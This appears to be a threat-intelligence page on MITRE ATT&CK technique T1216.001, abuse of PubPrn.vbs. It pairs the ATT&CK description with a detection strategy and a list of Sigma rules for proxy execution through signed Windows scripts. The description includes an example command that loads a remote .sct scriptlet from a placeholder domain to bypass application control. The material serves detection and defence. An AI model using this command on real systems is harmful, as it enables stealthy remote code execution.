Techniques › T1216 › T1216.001
T1216.001 PubPrn
stealth — Windows · attack.mitre.org · JSON
1
MITRE detection strategy
1
analytics
2
Sigma rules tagged attack.t1216.001
0
KEV CVEs mapped here
<p>Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.</p><p>Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.</p><p>In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).</p>
KEV CVEs mapped to this technique · CTID Mappings Explorer
None. No KEV entry in the public mapping names this technique. Given that 74.7% of KEV has no mapping at all, this says more about the mapping than about the technique.
Detection strategy · ATT&CK Enterprise v19.2
- DET0528 Detecting Remote Script Proxy Execution via PubPrn.vbs v1.0
AN1464 WindowsExecution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.Tunable:
CommandLineRegexParentProcessNameNetworkDestinationDomainTimeWindow
Sigma rules · SigmaHQ da9bb07d64, tag attack.t1216.001
Author: frack113
· 2022-05-28 · logsource: product=windows category=process_creation · 1fb76ab8-fa60-4b01-bddd-71e89bf555da
Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.
Author: Nasreddine Bencherchali (Nextron Systems)
· 2022-08-19 · logsource: product=windows category=process_creation · 45d3a03d-f441-458c-8883-df101a3bb146
Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.
Rules tagged at the parent level (attack.t1216) 13
These target the parent technique, not this sub-technique specifically. Listed for completeness, not counted as coverage.
Author: frack113
· 2022-05-28 · logsource: product=windows category=process_creation · 0403d67d-6227-4ea8-8145-4e72db7da120
Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.
Author: Julia Fomina, oscd.community
· 2020-10-06 (modified 2022-10-09) · logsource: product=windows category=process_creation · 074e0ded-6ced-4ebd-8b4d-53f55908119d
Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)
Author: frack113, Nasreddine Bencherchali
· 2022-08-20 · logsource: product=windows category=process_creation · 18988e1b-9087-4f8a-82fe-0414dce49878
Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
Author: Nasreddine Bencherchali (Nextron Systems), oscd.community, Natalia Shornikova, frack113
· 2022-05-21 (modified 2023-08-17) · logsource: product=windows category=process_creation · 1e0e1a81-e79b-44bc-935b-ddb9c8006b3d
Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands
Author: frack113
· 2021-07-16 (modified 2022-06-22) · logsource: product=windows category=process_creation · 36475a7d-0f6d-4dce-9b01-6aeb473bbaf1
Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs
Author: Julia Fomina, oscd.community
· 2020-10-08 (modified 2023-11-09) · logsource: product=windows category=process_creation · 59e938ff-0d6d-4dc3-b13f-36cc28734d4e
Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
Author: Nasreddine Bencherchali (Nextron Systems)
· 2022-08-19 (modified 2024-08-27) · logsource: product=windows category=process_creation · 7d4aaec2-08ed-4430-8b96-28420e030e04
Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.
Author: Nasreddine Bencherchali (Nextron Systems)
· 2022-08-19 (modified 2025-10-29) · logsource: product=windows category=process_creation · 84b14121-9d14-416e-800b-f3b829c5a14d
Detects the execution of CustomShellHost.exe where the child isn't located in 'C:\Windows\explorer.exe'. CustomShellHost is a known LOLBin that can be abused by attackers for defense evasion techniques.
Author: Julia Fomina, oscd.community
· 2020-10-07 (modified 2023-03-03) · logsource: product=windows category=process_creation · 9df0dd3a-1a5c-47e3-a2bc-30ed177646a0
Detects an attempt to execute code or create service on remote host via winrm.vbs.
Author: Nasreddine Bencherchali (Nextron Systems), oscd.community, Natalia Shornikova
· 2020-10-14 (modified 2023-08-17) · logsource: product=windows category=process_creation · a0459f02-ac51-4c09-b511-b8c9203fc429
Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"
Author: oscd.community, Natalia Shornikova, Nasreddine Bencherchali (Nextron Systems)
· 2020-10-13 (modified 2023-02-03) · logsource: product=windows category=process_creation · c363385c-f75d-4753-a108-c1a8e28bdbda
Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution
Author: frack113, Nasreddine Bencherchali (Nextron Systems)
· 2022-05-21 (modified 2023-08-17) · logsource: product=windows category=process_creation · c57872c7-614f-4d7f-a40d-b78c8df2d30d
Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.
Author: Julia Fomina, oscd.community
· 2020-10-06 (modified 2022-11-28) · logsource: product=windows category=file_event · d353dac0-1b41-46c2-820c-d7d2561fc6ed
Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)